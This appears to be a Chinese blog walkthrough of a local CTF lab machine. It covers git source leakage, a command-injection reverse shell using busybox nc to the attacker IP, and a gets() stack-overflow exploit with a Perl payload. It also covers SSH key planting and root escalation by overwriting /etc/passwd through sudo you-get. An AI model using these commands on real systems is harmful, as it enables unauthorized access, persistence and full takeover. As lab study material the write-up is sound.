news 2026/7/24 20:34:14

GGG靶场学习笔记

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
GGG靶场学习笔记
    • 正文
      • 一、端口扫描
      • 二、git 日志检索
        • 方法(一):diff命令对比文件差异
        • 方法(二):checkout命令版本回退
      • 三、权限维持
      • 四、pwn:栈溢出漏洞利用
      • 五、伪造公钥,利用私钥登录
      • 五、you-get文件下载提权操作

正文

kali攻击机地址:192.168.31.188
靶场地址:192.168.31.221

一、端口扫描

在kali里,使用nmap工具:

nmap-sV-v-T4-A192.168.31.188


靶场开放了22和80端口,可能存在git源码泄露。

获取git源码,

wget-r-nphttp://192.168.31.221/.git/

二、git 日志检索

查看当前仓库的提交历史记录,按时间倒序列出所有提交的哈希值、作者、日期、提交说明。

  • 最早的说明,就是添加备份文件,然后修改,然后删除index.html
方法(一):diff命令对比文件差异

不过,绝大多数实际场景中,仓库里的提交数很少,Git 只需要用前 7-8 位,就能保证在当前仓库里是唯一的。
可以通过以下命令,查看 Git 能识别的「最短唯一前缀」:

gitrev-parse--shorte8279ccefbaad9c6454a9395170f87c9cf085534


通过diff命令比较不同。

gitdiffbc363f58 e8279cce

行内容含义说明
diff --git a/creds.txt b/creds.txt对比两个版本中的creds.txt文件,a/代表旧版本,b/代表新版本
new file mode 100644说明这个文件是新创建的,不是修改旧文件;100644是文件权限(普通文件,所有者可读可写,其他用户可读)
index 00000000..873d342旧版本中这个文件不存在(哈希全 0),新版本中文件的哈希是873d342
--- /dev/null旧版本中这个文件不存在,用/dev/null表示 “空文件”
+++ b/creds.txt新版本中的文件路径
@@ -0,0 +1 @@表示旧文件从第 0 行开始、共 0 行;新文件从第 1 行开始、共 1 行
+welcome:ThisIsMypasword绿色的+表示这一行是新增内容,也就是creds.txt文件被创建时写入的唯一一行内容
方法(二):checkout命令版本回退

通过命令:

gitcheckout e8279cc

返回表示:仓库的当前指针HEAD,已经成功指向了哈希前缀为e8279cc的提交,这个提交的说明是add backup
此时可以查看到当前目录下新变化的文件:

lscatcreds.txt


出现用户名和密码:welcome:ThisIsMypasword
修改域名gggbabay.ggg.dsz192.168.31.221关联

nano/etc/hosts192.168.31.221 gggbaby.ggg.dsz ggg.dsz
  • 表示这两个域名都是指向192.168.31.221

  • 192.168.31.221:靶场的 IP 地址
  • gggbaby.ggg.dsz:Git 提交记录里出现过的主机名,推测是这个网址(root@gggbaby.ggg.dsz
  • ggg.dsz:它的父域名,也绑定到同一个 IP

登录网址:

http://gggbabay.ggg.dsz/ 或者 http://ggg.dsz/


能明显看到图标变了,把之前的用户名密码welcome:ThisIsMypasword粘贴登录,会发现一个网络诊断测试:

测试发现没对反引号过滤,编写nc反弹脚本:

## 可以用brup抓包,用`sleep 5`测试。`busyboxnc192.168.31.1884444-e/bin/bash`

三、权限维持

接下来生成伪终端:

/usr/bin/script-qc/bin/bash /dev/null

CTRL+Z ,中断连接后使用完整终端:

stty raw -echo;fg

reset尝试重置终端恢复正常,为xterm

四、pwn:栈溢出漏洞利用

在根目录下,发现opt里存在猫腻。

研读一下这个代码:

扔给AI翻译一下:

#include<unistd.h>// 提供setuid、setgid权限相关系统调用函数#include<stdio.h>// 标准输入输出库,printf、gets、fflush都依赖此头文件#include<string.h>// 字符串处理库,本程序未实际使用#include<stdlib.h>// 标准库,提供system函数执行系统命令/** * @brief 执行反弹Shell函数 * 调用nc工具监听本地1234端口,成功连接后给到bash终端 * busybox nc -lp 1234 -e /bin/bash * -l : 开启监听模式 * -p : 指定监听端口1234 * -e : 连接成功后执行/bin/bash,实现命令交互 */voidexecute_shell(){system("busybox nc -lp 1234 -e /bin/bash");}/** * @brief 程序主函数,存在经典栈缓冲区溢出漏洞 * 漏洞成因:使用无长度限制读取函数gets,可溢出覆盖栈上相邻变量 */intmain(intargc,char*argv[]){setuid(1000);// 设置程序运行用户ID为1000,降低运行权限setgid(1000);// 设置程序运行用户组ID为1000,限制权限范围charname[60];// 定义60字节栈缓冲区,用于接收用户输入intexecute=0;// 栈上紧邻缓冲区的判断变量,初始值为0printf("Enter your name: ");fflush(stdout);// 强制刷新标准输出缓冲区,保证文字正常打印gets(name);// 高危漏洞函数!无任何长度校验,直接读取输入// 输入超出60字节后,会向后覆盖栈内存数据printf("Hello, %s!\n",name);// 核心判断逻辑:execute变量等于0xABCD1234则触发反弹Shellif(execute==0xABCD1234){printf("Launching shell...\n");execute_shell();}else{// 不满足条件则打印当前execute十六进制值printf("flag is 0x%X\n",execute);}return0;}/* ==================== 复习重点笔记(内嵌文件)==================== 1. 栈布局 char name[60] 占用60字节,后面紧跟4字节int型execute变量 溢出偏移量:60字节 2. 大小端转换规则(x86默认小端序) 目标值:0xABCD1234 拆分字节:AB CD 12 34 小端内存存储顺序:34 12 CD AB 溢出填充:60个任意字符 + \x34\x12\xCD\xAB 3. 错误写法禁止 不能写\0x34,\0代表\x00空字节,会篡改数值导致判断失败 转义固定格式:\x + 两位十六进制数 4. 漏洞原理 gets不限制输入长度,恶意超长输入溢出覆盖execute变量 篡改判断条件,绕过if校验执行恶意Shell命令 5. 利用方式 1. 构造60字节填充+4字节目标值组成Payload 2. 管道输入运行程序触发漏洞 3. 攻击机使用 nc 目标IP 1234 连接获取交互式Shell ================================================================ */

看明白了原理, 构造60字节填充+4字节目标值组成Payload,编写exp:

perl-le'print "A"x60 . "\x34\x12\xcd\xab"'|./shell_launch

  • perl:调用 Perl 解释器执行后面的脚本
  • -l:自动在输出末尾加换行
  • -e:直接在命令行执行后面的脚本内容,不用写文件

print "A"x60 . "\x34\x12\xcd\xab"

  • "A"x60:Perl 特有的字符串重复语法,生成60 个连续的A,填满name[60]缓冲区
  • .:Perl 里的字符串拼接运算符,把前后两部分 payload 拼起来
  • "\x34\x12\xcd\xab":目标值0xABCD1234小端序字节流,用来覆盖execute变量

| ./shell_launch

  • |管道符:把 Perl 脚本生成的二进制 payload,直接作为输入传给./shell_launch程序
  • ./shell_launch程序执行gets(name)时,会读取管道里的超长数据,触发栈溢出,篡改execute变量,执行反弹 shell

这个时候再访问靶场会有惊喜:

nc192.168.31.2211234


再次执行第三步的权限维持操作,进到anvj用户的伪shell交互界面里。

五、伪造公钥,利用私钥登录

生成生成一对 SSH 密钥(公钥 + 私钥),方便你后续无密码登录靶机:

ssh-keygen-trsa


跳转到/home/anjv/.ssh目录,就发现生成ida_rsa.pub公钥和id_rsa私钥了:

cd/home/anjv/.sshls-al


在此目录下,复制一份ida_rsa.pub公钥到靶场的authorized_keys中,并把id_rsa私钥拷贝到攻击机里:

cpid_rsa.pub authorized_keyscatid_rsa
  • authorized_keys是 SSH 服务端的授权公钥白名单文件。当你用 SSH 私钥登录时,服务端会:读取你提交的公钥指纹和 authorized_keys 里的公钥做比对。匹配成功 → 直接免密码登录;匹配失败 → 拒绝连接


给私钥600权限,然后拿着私钥登录:

chmod600id3sshanjv@192.168.31.221-iid3

五、you-get文件下载提权操作

查看可提权的操作:

查看程序的逻辑:

既然是文件下载器,那就在下载做做文章,在攻击机kali桌面生成一个密码为123456,用户为root的passwd文件:

# 1. 生成加密密码(比如密码设为 123456)PASS=$(opensslpasswd-1123456)# 2. 写入完整格式的用户条目echo"root:$PASS:0:0:root:/root:/bin/bash">passwd# 3. 确认文件内容正确catpasswd# 4. 开启文件分发服务python3-mhttp.server80


在靶场里执行命令:

sudo/usr/local/bin/you-get http://192.168.31.188/passwd-O/etc/passwd-f#输入你之前设置好的密码,拿到最高权限

拿到最高权限用户root。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/24 20:32:26

DecoTV无数据库模式详解:极简部署的终极方案

DecoTV无数据库模式详解&#xff1a;极简部署的终极方案 【免费下载链接】DecoTV 基于最新版LunaTV二次开发的一个开箱即用的、跨平台的影视聚合播放站。【原KatelyaTV】 项目地址: https://gitcode.com/gh_mirrors/de/DecoTV DecoTV是一个基于Next.js 16构建的开箱即用…

作者头像 李华
网站建设 2026/7/24 20:31:27

百万协程为何崩?GMP调度3个坑

你肯定见过这样的场景&#xff1a;服务上线前压测一切正常&#xff0c;goroutine 开得飞起&#xff0c;吞吐量曲线漂亮得像教科书。结果凌晨三点报警炸了——CPU 只有 15%&#xff0c;内存也绰绰有余&#xff0c;但请求超时率飙到 40%。我第一反应是加机器&#xff0c;老板看了…

作者头像 李华
网站建设 2026/7/24 20:31:16

FigmaCN中文插件:如何让全球顶级设计工具说中文?

FigmaCN中文插件&#xff1a;如何让全球顶级设计工具说中文&#xff1f; 【免费下载链接】figmaCN 中文 Figma 插件&#xff0c;设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 作为一名中文设计师&#xff0c;你是否曾经在使用Figma时因为英…

作者头像 李华
网站建设 2026/7/24 20:29:26

抖音直播录制神器:轻松保存40+平台直播内容的完整指南

抖音直播录制神器&#xff1a;轻松保存40平台直播内容的完整指南 【免费下载链接】DouyinLiveRecorder 可循环值守和多人录制的直播录制软件&#xff0c;支持抖音、TikTok、Youtube、快手、虎牙、斗鱼、B站、小红书、pandatv、sooplive、flextv、popkontv、twitcasting、winktv…

作者头像 李华
网站建设 2026/7/24 20:28:19

如何设计多Agent的协作与动态切换机制?

多 Agent 系统的核心问题不是“创建多个 LLM”&#xff0c;而是&#xff1a;如何让多个具有不同职责的 Agent&#xff0c;在共享目标下进行任务分工、通信、协作&#xff0c;并根据环境变化动态调整角色。可以把它理解成一个“AI团队”。例如一个机器人云平台&#xff1a;规划 …

作者头像 李华
网站建设 2026/7/24 20:27:29

14 AI生成代码的质量到底怎么样?我测了100个案例告诉你真相

摘要&#xff1a;本文基于对GPT-4、Claude 3.5和GitHub Copilot生成的100个编程任务的深度分析&#xff0c;揭示了AI生成代码的四大核心陷阱&#xff1a;高达35%的边界条件错误、28%的安全隐患、典型的“AI味”代码规范问题以及可维护性缺失。文章通过大量真实案例&#xff08;…

作者头像 李华